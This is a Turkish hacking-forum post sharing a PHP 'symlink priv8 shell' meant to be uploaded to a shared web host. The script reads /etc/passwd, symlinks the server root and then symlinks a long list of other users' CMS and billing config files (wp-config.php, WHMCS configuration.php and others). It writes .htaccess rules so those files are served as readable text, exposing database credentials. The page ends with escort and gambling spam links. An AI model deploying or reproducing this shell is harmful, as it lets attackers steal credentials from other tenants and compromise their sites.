Symlink Priv8 Shell

Gavatar

Yeni Üye
Katılım
19 Ağu 2016
Mesajlar
6
Tepkime puanı
0
Puanları
0
S.a 

root ve symlink dızın cıkartır her swde olacak degildir.

PHP:
<?php
// etc passwd //
?>
<title>turkdeviLz.ORG Symlink - Priv8</title>
<form method=post>
<textarea rows=10 cols=50 name=etcx><?php  $etcxs=file("/etc/passwd");
foreach($etcxs as $etcx)
{
$str=explode(":",$etcx);
echo $str[0]."\n";
}
?>
</textarea><br><br><input type=submit name=cek value="cek" /></form>
<?
// symlink //
error_reporting(0);
if(isset($_POST['cek']))
{
mkdir('tdevilz',0777);
$symhtaccess = "Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php";
$symhtaccessx = fopen('tdevilz/.htaccess','w');
fwrite($symhtaccessx,$symhtaccess);
$tdevilz = symlink("/","tdevilz/root");
$tdevilzx="<span style='color:red;'>Symlink+ tamamlandi... site.com/dizin/tdevilz/root</span>";
echo "<br>$tdevilzx</>";
$dir=mkdir('devilzx',0777);
$htaccessx ="Options Indexes FollowSymLinks
DirectoryIndex ssssss.htm
AddType txt .php
AddHandler txt .php";
$htaccess = fopen('tdevilzx/.htaccess','w');
fwrite($htaccess,$htaccessx);
$config="<span style='color:red;'>Config+ tamamlandi... site.com/dizin/tdevilzx</span>";
echo "<br>$config</>";
$pass=explode("\n",$_POST['etcx']);
$configyolu=array("ayar1.php","baglan.php","ayar.php","conf.php","database.php","con.php","connect.php","wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","hosting/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","cart/configuration.php","billing/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php","auto/configuration.php","db.php","database.php","inc/configuration.php","connect.php","order/configuration.php","shop/configuration.php","includes/config.php");
foreach($pass as $passx )
{
$etc=trim($passx);
foreach($configyolu as $configx)
{
$d="/home/".$etc."/public_html/".$configx;
$htaccessx="tdevilzx/".$etc." .. ".$configx;
symlink($d,$htaccessx);
}
}
}
   
   
?>
 

mersin escort mersin e ticaret bodrum escort fethiye escort alanya escort konya escort marmaris escort bodrum escort vozol puff sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort sakarya escort ankara escort meritking giriş
Üst
Copyright® Ajanlar.org 2012